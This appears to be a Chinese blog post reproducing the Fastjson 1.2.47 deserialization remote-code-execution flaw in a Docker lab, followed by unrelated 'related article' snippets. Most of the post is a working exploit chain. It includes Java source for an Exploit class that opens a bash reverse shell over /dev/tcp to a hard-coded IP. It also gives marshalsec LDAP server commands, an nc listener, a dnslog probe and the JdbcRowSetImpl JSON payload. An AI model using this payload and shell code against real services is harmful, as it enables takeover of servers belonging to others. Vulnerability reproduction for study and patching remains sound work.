Fastjson <= 1.2.47 反序列化漏洞复现

news/2024/12/23 3:35:35 标签: 安全, 网络

0x01 前言

Fastjson 是一个 Java 语言编写的高性能功能完善的 JSON 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象,在中国和美国使用较为广泛。

0x02 漏洞成因

Fastjson < 1.2.68 版本在处理反序列化对象时存在安全问题,导致攻击者可以执行 java 代码,具体分析可参考:FastJson 反序列化学习

0x03 环境准备

docker 搜索 Fastjson 漏洞利用镜像:
docker search fastjson

这里选择 fastjson1.2.47_rce 镜像进行漏洞复现,将镜像 push 回本地:
docker push initidc/fastjson1.2.47_rce

查看本地镜像:
docker images

开启镜像:
docker run -it -p 8080:8080 a82832ac7f62

复现漏洞还需要在本地开启 rmi 或 ldap 服务,这里我们使用 marshalsec 快速开启 rmi 或 ldap 服务,下载地址:https://github.com/mbechler/marshalsec

下载解压后进入 marshalsec 文件夹,使用 maven 编译出 jar 包(没有 maven 自行下载安装):
mvn clean package -DskipTests

编译完成后在 target 文件夹中找到我们需要的 jar 文件:marshalsec-0.0.3-SNAPSHOT-all.jar

最后准备我们的攻击代码:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.134.130/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); //ip端口自行替换为接收shell地址
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

编译出 .class 文件:
javac Exploit.java

OK,环境基本准备就绪。

0x04 漏洞复现

访问环境:
http://x.x.x.x:8080/fastjson/

先进行 dnslog 探测尝试:
{"@type":"java.net.Inet4Address","val":"1.sap0b9.dnslog.cn"}

dnslog 探测成功,利用攻击脚本进行攻击尝试。

首先利用 python 起 http ,将攻击代码挂起:
python -m http.server 8888

启动 ladp 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x:8888/#Exploit 9999

攻击机监听端口:
nc -lvvp 8089

使用攻击 payload 进行反弹攻击:

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://x.x.x.x:9999/Exploit", //你的ldap服务地址
        "autoCommit":true
    }
 
}

成功反弹 shell ,复现成功:

0x05 注意点

利用 RMI 或 LDAP 对本地 jdk 版本有要求,利用 RMI 服务 jdk 版本必须低于 8u121 ,利用 LDAP 服务 jdk 版本必须低于 8u182 。

这是我本地 jdk 版本:

0x06 修复方案

升级到最新版本~


http://www.niftyadmin.cn/n/5796282.html

相关文章

GO--堆(have TODO)

堆 堆&#xff08;Heap&#xff09;是一种特殊的数据结构。它是一棵完全二叉树&#xff08;完全二叉树是指除了最后一层外&#xff0c;每一层上的节点数都是满的&#xff0c;并且最后一层的节点都集中在左边&#xff09;&#xff0c;结放在数组&#xff08;切片&#xff09;中…

安卓native层抓trace

trace命令&#xff1a; perfetto --time 20s --buffer 512mb gfx view input webview wm am sm audio video camera hal dalvik res rs bionic pm ss database network disk sched freq idle binder_lock binder_driver gpu_mem/gpu_mem_total skia --out /data/misc/perfetto…

理解 sudo source 命令失败的原因 ubuntu20.04

理解 sudo source 命令失败的原因 在Ubuntu 20.04系统中使用ROS&#xff08;Robot Operating System&#xff09;时&#xff0c;您可能会遇到如下错误信息&#xff1a; lyblyb:~$ source ~/pointcloudmap_ws/devel/setup.bash lyblyb:~$ sudo source .bashrc sudo: source&a…

工业大数据分析算法实战-day11

文章目录 day11信号处理算法FT算法&#xff08;傅里叶变换&#xff09;时频分析STFT&#xff08;短时傅里叶变换&#xff09;Gabor算法小波变换WVD&#xff08;Wigner-Ville分布&#xff09;故障诊断中常用的时频特征变量 时序变换独立成分分析&#xff08;ICA&#xff09;慢特…

Magento2项目部署笔记

一.去获取Adobe Commerce的个人秘钥 Adobe Commerce Extensions & Themes for Your Online Store | Marketplace 这个个人秘钥不收费&#xff0c;用于作为下载Magento2源代码的凭证 二. 检查Magento2最新版本 以及最新版本对应的环境要求 System requirements | Adobe Comm…

Python爬虫抓取数据,有哪些常见的问题?

使用Python爬虫抓取数据时&#xff0c;可能会遇到多种常见的问题。以下是一些典型的问题及其可能的解决方案&#xff1a; 1. 网络请求问题 超时&#xff1a;请求超时可能是因为网络延迟或服务器响应慢。可以通过设置合理的超时时间来解决。连接错误&#xff1a;如DNS解析失败…

python的序列类型及操作

1、序列类型的定义 序列是具有先后关系的一组元素 序列是一维元素向量&#xff0c;元素类型可以不同 类似数学元素序列&#xff1a;s 0 _{0} 0​&#xff0c;s 1 _{1} 1​&#xff0c;…&#xff0c;s n − 1 _{n-1} n−1​ 元素间由序号引导&#xff0c;通过下标访问序列的…

不同协议下的接口测试方案设计

什么是多协议接口测试&#xff1f; 多协议接口测试是指在不同协议&#xff08;如HTTP、HTTPS、TCP/IP、SOAP、REST等&#xff09;下进行的接口测试。这类测试的主要目标是确保不同协议间的组件可以顺畅地进行通信&#xff0c;从而提高系统的整体可用性和稳定性。接口测试不仅可…